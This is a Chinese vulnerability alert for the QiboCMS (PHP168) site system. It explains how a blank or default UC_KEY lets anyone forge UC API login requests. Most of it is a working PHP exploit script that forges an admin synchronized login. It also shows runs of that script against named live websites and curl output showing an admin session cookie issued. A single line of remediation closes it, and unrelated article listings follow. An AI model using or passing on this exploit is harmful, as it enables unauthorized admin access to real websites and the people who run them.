齐博cms整站系统(原PHP168)配置不当致任意用户登陆漏洞预警 -电脑资料

齐博cms整站系统(原PHP168)配置不当导致任意用户登陆,比如cms管理员等,

齐博cms整站系统(原PHP168)配置不当致任意用户登陆漏洞预警

详细说明:还是由于UC_CENTER的问题,之前闹过UC_KEY变量为空时可以调用UC_CENTER中的相关用户API直接进行操作,今天下了一份V7版本的源码,在uc_config.php中发现UC_KEY被初始化了

define(‘UC_DBCONNECT’, ’0′);

define(‘UC_KEY’, ‘fdsafd43′); //这里做了初始化

define(‘UC_API’, ‘http://www.myhack58.com/dz/uc_server’);

Google了一把,发现很多站都可以用空的UC_KEY或默认的UC_KEY成功调用UC接口。

从官方成功案例中找到一个网站

$ php uc.php haidian.10000tc.com synlogin

[+] UC_KEY ‘null’ can use .

[*] EXP = do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr

$ php uc.php 0755456.com synlogin

[+] UC_KEY ‘default’ can use .

[*] EXP = do/api/uc.php?code=c788q%2Byp%2F4oC5rvSuzpCpuLHRIYu9VIR%2Bzl8pJ60hOX8xYAxKoBajYXvRFG72oAadPVjFlAy8n6565gMUXPZNeKBXSQP0SDBJ9JPvq4XkLf4

$ php uc.php www.zjxiaoyifeng.com synlogin

[+] UC_KEY ‘default’ can use .

[*] EXP = do/api/uc.php?code=7755%2FC0y9ZruP9op7MtO5lPx92MRfmUImcEf3ZmVIvDDjl8zpfKI%2FTEU6PwkKbW8QioWTD7nai2FaauVyAVTwICk6mrQwLvS6dsNawJyoPX5

看看是否set cookie

$ curl -I “http://haidian.10000tc.com/do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr”

HTTP/1.0 200 OK

Date: Wed, 15 Aug 2012 06:23:32 GMT

Content-Type: text/html; charset=gb2312

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-Powered-By: PHP/5.2.8

Set-Cookie: USR=lju34nhv%090%091345011812%09http%3A%2F%2Fhaidian.10000tc.com%2Fdo%2Fapi%2Fuc.php%3Fcode%3Dfca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr; expires=Thu, 16-Aug-2012 06:23:32 GMT; path=/; domain=10000tc.com

Set-Cookie: choose_cityID=1; expires=Fri, 14-Sep-2012 06:23:32 GMT; path=/; domain=10000tc.com

Set-Cookie: zone_id=1; expires=Fri, 14-Sep-2012 06:23:32 GMT; path=/; domain=10000tc.com

P3P: CP=”CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR”

Set-Cookie: passport=1%09admin%09AFVdAg1SUwZVD1QDAFVdBwdXA1VRVAYAUAxXAFdUUlc%3D289d3139c3; expires=Thu, 16-Aug-2012 06:23:32 GMT; path=/; domain=10000tc.com

X-Cache: MISS from WT263CDN-21172

X-Cache-Lookup: MISS from WT263CDN-21172:80

Via: 1.0 WT263CDN-21172 (squid/3.0.STABLE20)

Connection: close

set了,在登陆网站试试

exp:

www.myhack58.com

<?php

error_reporting(0);

$host = $argv[1];

$doing = $argv[2];

if (empty($doing)) {

$doing = ‘test’;

$code = ‘time=1577811661&action=’.$doing;

} else {

$code = ‘time=1577811661&uid=1&username=admin&action=’.$doing;

}

$uc_key = array(‘null’ => ”, ‘default’ => ‘fdsafd43′);

foreach ($uc_key as $key => $value) {

$exp = ‘do/api/uc.php?code=’.urlencode(authcode($code, “ENCODE”, $value));

$result = file_get_contents(“http://$host/$exp”);

if( $result == 1 || $result !== ‘Authracation has expiried’){

echo “[+] UC_KEY ‘$key’ can use .\r\n”;

echo “[*] EXP = $exp \r\n”;

}

}

function authcode($string, $operation = ‘DECODE’, $key = ”, $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string,

0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = ”;

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == ‘DECODE’) {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return ”;

}

} else {

return $keyc.str_replace(‘=’, ”, base64_encode($result));

}

}

修复方案:

安装的时候随即字符串重写,

电脑资料

《齐博cms整站系统(原PHP168)配置不当致任意用户登陆漏洞预警》()。

相关文章

什么是体重管理 如何自我体重管理

体重管理是最近出来的新兴的一个词汇,体重管理是根据我们的身体状况给出我们最合理的的膳食、运动等相关方面的建议,所以体重管理的要素有很多种的,那么我们应该如何来实现自我的体重管理呢?体重管理现在被很多的...
资料大全2014-09-07
什么是体重管理 如何自我体重管理

体育生高考最佳方案

为保障事情或工作顺利开展,我们需要提前开始方案制定工作,方案是在案前得出的方法计划。优秀的方案都具备一些什么特点呢?下面是小编精心整理的体育生高考最佳方案(通用5篇),希望能够帮助到大家。体育生高考最...
资料大全2013-04-07
体育生高考最佳方案

成都车辆年审新规定

我国驾驶证年审新规定出台,四川成都也针对成都驾驶证年审作出调整,根据2014成都驾驶证年审新规定,持A、B照的大中型客货车驾驶人,应当在每个记分周期结束后30日内接受审验。除审验交通违法、事故处理、违...
资料大全2017-09-09
成都车辆年审新规定

瘦肚子和腰的健身操有哪些

女性朋友相对于男性来说,运动的项目会受到限制,而且很多女性不喜欢运动,所以肚子和腰部就会有很多的赘肉,这时候就可以做一下健身操,健身操简单可行,而且任何时候都可以锻炼。那么瘦肚子和腰的健身操有哪些呢?...
资料大全2019-01-04
瘦肚子和腰的健身操有哪些

复工复产安全方案

为了确保事情或工作扎实开展,预先制定方案是必不可少的,方案是阐明具体行动的时间,地点,目的,预期效果,预算及方法等的企划案。那么什么样的方案才是好的呢?下面是小编为大家收集的复工复产安全方案,仅供参考...
资料大全2019-07-01
复工复产安全方案

建筑工程造价实习周记

实习是毕业设计的重要环节,也是我们最后的冲刺阶段,更是积累工作经验的重要阶段。它让我们把理论和实践结合起来。是我们从学校走向社会的重要坡道。减少自己将来踏入社会的一些盲目性,让自己在今后的工作道路中能...
资料大全2011-06-01
建筑工程造价实习周记